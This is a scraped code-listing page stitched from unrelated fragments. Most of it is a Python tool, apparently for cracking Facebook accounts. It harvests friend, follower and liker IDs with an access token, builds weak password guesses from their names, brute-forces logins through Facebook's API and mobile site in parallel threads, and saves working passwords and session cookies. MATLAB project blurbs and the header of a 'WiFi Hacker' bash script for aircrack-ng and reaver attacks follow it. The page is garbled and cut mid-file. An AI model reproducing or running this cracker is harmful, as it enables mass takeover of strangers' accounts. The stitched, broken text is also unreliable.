Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() try: _ip_url_ = "http://ip-api.com/json/" _ip_headers_ = { "Referer":"http://ip-api.com/", "Content-Type":"application/json; charset=utf-8", "User-Agent":"Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]" } _ip_req_ = _req_get_(_ip_url_,headers=_ip_headers_).json() _ip_dev_ = _ip_req_["query"] except: _ip_dev_ = " " _ahmar_cici_('%s[%s•%s] %sWelcome %s%s'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_)) _ahmar_cici_('%s[%s•%s] %sID : %s'%(_U_,_P_,_U_,_P_,_id_dev_)) _ahmar_cici_('%s[%s•%s] %sIP : %s\n'%(_U_,_H_,_U_,_H_,_ip_dev_)) _ahmar_cici_('%s[%s1%s] %sCrack From Friends/Public ID '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sCrack From Followrs ID'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sCrack ID From Likers'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sView Crack Results'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sUser Agent'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s0%s] %sLog Out'%(_U_,_P_,_U_,_M_)) _ahmar_menu__cici_ahmar__ = _cici_ahmar_('%s[%s•%s] %sChooses : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if _ahmar_menu__cici_ahmar__ in ['',' ']: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['1','01','a']: _publik_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['2','02','b']: _followers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['3','03','c']: _likers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['4','04','d']: _cek_result_dev_() elif _ahmar_menu__cici_ahmar__ in ['5','05','e']: _ugen_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['0','00','z']: _ahmar_cici_('%s[%s•%s] %sSee you later %s%s %s!'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) ### Dump ID Publik def _publik_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sType (Me) Clone your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sINPUT TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarger Name: %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/friends?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Pengikut def _followers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPast Target ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarget Name : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /Targe not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/subscribers?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / Target Not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Likers def _likers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPAST TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sNama : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/likes?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahamr_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Generate Password def _pass_list_(_cici_): _ahmar_=[] for i in _cici_.split(" "): if len(i)<3: continue else: i=i.lower() if len(i)==3 or len(i)==4 or len(i)==5: _ahmar_.append(i+"123") _ahmar_.append(i+"12345") else: _ahmar_.append(i) _ahmar_.append(i+"123") _ahmar_.append(i+"12345") _ahmar_.append(_cici_.lower()) _ahmar_.append("pakistan") _ahmar_.append("123456789") _ahmar_.append("123456") return _ahmar_ ### Logger Crack def log_api(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() header = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), "x-fb-sim-hni": str(random.randint(20000, 40000)), "x-fb-net-hni": str(random.randint(20000, 40000)), "x-fb-connection-quality": "EXCELLENT", "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", "user-agent": ua, "content-type": "application/x-www-form-urlencoded", "x-fb-http-engine": "Liger"} param = {'access_token': '350685531728%7C62f8ce9f74b12f84c123cc23437a4a32', 'format': 'json', 'sdk_version': '2', 'email': em, 'locale': 'en_US', 'password': pas, 'sdk': 'ios', 'generate_session_cookies': '1', 'sig':'3f555f99fb61fcd7aa0c44f58f522ef6'} api = 'https://b-api.facebook.com/method/auth.login' response = r.get(api, params=param, headers=header) if 'session_key' in response.text and 'EAAA' in response.text: return {"status":"success","email":em,"pass":pas} elif 'www.facebook.com' in response.json()['error_msg']: return {"status":"cp","email":em,"pass":pas} else:return {"status":"error","email":em,"pass":pas} def log_mbasic(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() r.headers.update({"Host":"mbasic.facebook.com","cache-control":"max-age=0","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}) p = r.get("https://mbasic.facebook.com/") b = r.post("https://mbasic.facebook.com/login.php", data={"email": em, "pass": pas, "login": "submit"}) _raw_cookies_ = (";").join([ "%s=%s" % (key, value) for key, value in r.cookies.get_dict().items() ]) if "c_user" in r.cookies.get_dict().keys(): return {"status":"success","email":em,"pass":pas,"cookies":_raw_cookies_} elif "checkpoint" in r.cookies.get_dict().keys(): return {"status":"cp","email":em,"pass":pas,"cookies":_raw_cookies_} else:return {"status":"error","email":em,"pass":pas} def koki(_cookies_): samp_ = _cookies_.split(';') _cooked_cookies_ = ('%s;%s;%s;%s;%s'%(samp_[2],samp_[4],samp_[0],samp_[3],samp_[1])) return _cooked_cookies_ ### Crack Proccess class _crack_dev_: def __init__(self,files): self._Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' self.ada = [] self.cp = [] self.ko = 0 _ahmar_cici_('\n%s[%s•%s] %sCrack With Default/Manual Password [d/m]'%(_U_,_P_,_U_,_P_)) while True: f = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if f=="": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif f in ['m','M','2','02','002']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: _ahmar_cici_('%s[%s!%s] %sDump File Not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0]}) except:continue except Exception as e: _ahmar_cici_('%s[%s!%s] %sDump File not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) _ahmar_cici_('%s[%s•%s] %sExample : Pakistan,786786,223344'%(_U_,_P_,_U_,_P_)) self.pwlist() break elif f in ['d','D','1','01','001']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: continue self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0],"pw":_pass_list_(i.split("•")[1])}) except:continue start_method() put = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(35).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(35).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) except Exception as e: continue def pwlist(self): self.pw = _cici_ahmar_('%s[%s•%s] %s Enter Password : '%(_U_,_P_,_U_,_P_)).split(",") if len(self.pw) ==0: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) else: for i in self.fl: i.update({"pw":self.pw}) start_method() put = _cici_ahmar _('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(30).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(30).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) def api(self,fl): try: for i in fl.get("pw"): log = log_api(fl.get("id"),i,"https://b-api.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sAHMAR-OK%s] %s • %s "%(_H_,_P_,_H_,fl.get("id"),i)) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.api(fl) def mbasic(self,fl): try: for i in fl.get("pw"): log = log_mbasic(fl.get("id"),i,"https://mbasic.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sXSAN-OK%s] %s • %s • %s "%(_H_,_P_,_H_,fl.get("id"),i,koki(log.get("cookies")))) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.mbasic(fl) ### Menu Mengecek Hasil Crack def _cek_result_dev_(): _clear_() _my_logo_() _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__forever__' _ahmar_cici_('%s[ %sCrack Results %s]'%(_U_,_P_,_U_)) _ahmar_cici_('\n%s[%s1%s] %sCheck Results OK'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sChel Results CP'%(_U_,_P_,_U_,_P_)) ch = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if ch in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif ch in ['1','01','001','a']: try: okl = os.listdir("OK") _ahmar_cici_('\n%s[%s Crack Results Stored in File OK %s]\n'%(_U_,_P_,_U_)) for file in okl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sINPUT File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat OK/%s'%(files)) ppp = _ahmar_ahmar_("OK/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmae_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) elif ch in ['2','02','002','b']: try: cpl = os.listdir("CP") _ahmar_cici_('\n%s[%s Crack Results Stored in CP Files %s]\n'%(_U_,_P_,_U_)) for file in cpl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sInput File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat CP/%s'%(files)) ppp = _ahmar_ahmar_("CP/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmar_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) else: _ahmar_cici_('%s[%s!%s] %sWeong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _cici_ahmar_('\n%s[ %sReturn %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Mau Recode Lu Ya? def _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_): _recode_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' if _uscylupsci_ not in _recode_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:return _menu_dev_(_recode_) ### Menu User Agent def _default_ua_(_Cici_Cantik_Banget_): ua = ua_xiaomi try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() except (KeyError,IOError): _login_dev_(_Cici_Cantik_Banget_) def _ugen_dev_(_Ahmar_jan_Cici_): _var_ugen_(_Ahmar_jan_Cici_) pmu = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if pmu in[""]: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['1','01','001','a']: os.system('xdg-_ahmar_ahmar_ https://www.google.com/search?q=My+User+Agent&oq=My+User+Agent&aqs=chrome..69i57j0l3j0i22i30l6.4674j0j1&sourceid=chrome&ie=UTF-8') _cici_ahmar_('%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['2','02','002','b']: _del_() ua = _cici_ahmar_("%s[%s•%s] %sInput User agent : \n\n"%(_U_,_P_,_U_,_P_)) try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() _ahmar_cici_("\n%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) except (KeyError,IOError): _ahmar_cici_("\n%s[ %sFailed to Change User Agent %s]"%(_M_,_P_,_M_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_M_,_P_,_M_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['3','03','003','c']: _ugen_hp_(_Ahmar_jan_Cici_) elif pmu in ['4','04','004','d']: _del_() _ahmar_cici_("%s[ %sUser Agent Deleted Successfully %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['5','05','005','e']: try: ungser = _ahmar_ahmar_('ugent.txt', 'r').read() except (KeyError,IOError): ungser = 'Not found' _ahmar_cici_("%s[%s•%s] %sYour User Agent : \n\n%s%s"%(_U_,_P_,_U_,_P_,_U_,ungser)) _ahmar_cici_("\n%s[ %sThis is your current user agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['0','00','000','f']: _menu_dev_(_Ahmar_jan_Cici_) else: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) def _ugen_hp_(_Ahmar_jan_Cici_): _del_() _shmar_cici_('%s[%s1%s] %sXiaomi'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sNokia'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sAsus'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sHuawei'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sVivo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s6%s] %sOppo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s7%s] %sSamsung'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s8%s] %sWindows'%(_U_,_P_,_U_,_P_)) pc = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _dapunta_cici_('') if pc in['']: _dapunta_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pc in ['1','01']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_xiaomi);ugent.close() elif pc in ['2','02']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_nokia);ugent.close() elif pc in ['3','03']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_asus);ugent.close() elif pc in ['4','04']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_huawei);ugent.close() elif pc in ['5','05']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_vivo);ugent.close() elif pc in ['6','06']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_oppo);ugent.close() elif pc in ['7','07']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_samsung);ugent.close() elif pc in ['8','08']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_windows);ugent.close() else: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _ahmar_cici_("%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Tampilan User Agent def _var_ugen_(_Ahmar_jan_Cici_): _dapunta_cici_("%s[%s1%s] %sBest User Agent"%(_U_,_P_,_U_,_P_)) _Ahmat_cici_("%s[%s2%s] %sChange User Agent %s[%sManual%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s3%s] %sChange User agent %s[%sAdjust HP%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s4%s] %sDelete User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s5%s] %sChek User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s0%s] %sRetrun"%(_U_,_P_,_U_,_P_)) ### Tampilan Metode def start_method(): _Ahmar_cici_('\n%s[%s1%s] %sMetode Api'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s2%s] %sMetode Mbasic'%(_U_,_P_,_U_,_P_)) ### Tampilan Mulai Crack def started(): _Ahmar_cici_('%s[%s•%s] %sCrack is Running...'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s•%s] %sAccount [OK] Saved To OK/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sAccount [CP] Saved To CP/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sUse Flight Mode [5 Seconds Only] Every 5 Minutes\n'%(_U_,_P_,_U_,_P_)) ### Start if __name__=='__main__': os.system('git pull') _clear_() _folder_() _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_) # _Ahmar_cici_('%s[%s•%s] %s'%(_U_,_P_,_U_,_P_)) # _Ahmar_cici_('%s[%s!%s] %s'%(_M_,_P_,_M_,_P_))
Hiroshi-Okajima / Robust Control MATLAB MEC01model error compensator (matlab codes of journal article) robust control
mathworks / Robust Matlab 2018As the size and complexity of your MATLAB® application increases, you want to make sure to structure software projects well, ensuring users can run code without encountering unexpected behaviour or errors, for example. In this talk, you will learn about relevant advanced MATLAB software development capabilities, including error handling, object-oriented programming (OOP), unit testing, version control, and change tracking.
ginanjaradit354 / Wifi Hacker#!/bin/bash############################################################################# CREDITS BEGIN ##################################################################################################################################### WiFi Hacker v1.9# esc0rtd3w 2017# https://github.com/esc0rtd3w/wifi-hacker/# Uses parts of the aircrack-ng suite, reaver, wifite, and many other tools############################################################################# CREDITS END ################################################################################################################################################################################################################### VERSION HISTORY BEGIN ############################################################################################################################# v1.9# - Added support for Wash. Currently used for dumping scan info out to text.# - Added "Bruteforce Hidden SSID Options" To Extras Menu and updated bruteforceHiddenSSID() Function.# - Updated Menu Navigation to restrict from entering Extras Menu until after a wireless adapter has been selected.# - Configured updates with new coloring, and now will only update if remote version is higher than local version.# - Cleaned up code for doSleepMessage() Function. Now takes 3 arguments, "message", "time", and "color".# - Updated Extras Menu. Added wpa_supplicant enable and disable options. Updated wpa_cli options.# - Updated Reaver save session to only save a backup if current session file exists.# - Fixed and updated Reaver output post screen that was broken in the last release version.# v1.8# - Cleaned up scripting and moved all global hotkey triggers to a loadMenuHotkeys Function.# - Added a bruteforceHiddenSSID() Function to handle hidden SSID name reveals.# - Added logging to XML file from airodump-ng when scanning Access Points for all encryption types.# - Added automatic 10 second timeout for Update Menu to continue to main menu for attacking.# - Fixed Update Menu. "Check For Update" and "Apply New Update" are now functional.# - Update Menu now loads automatically after accepting license agreement.# - Added support for parsing network adapter names for displaying when selecting adapter to use.# - Added a check for PixieWPS attacks. If failed, will now default to normal Reaver attack.# v1.7# - Currently supports up to 10 wifi adapters.# - Changed hotkey for "Manual Adapter Entry" from "M" to "C", because of conflicting with main menu hotkey# - Added adapter check after disclaimer is agreed, so the main menu will show the correct number of 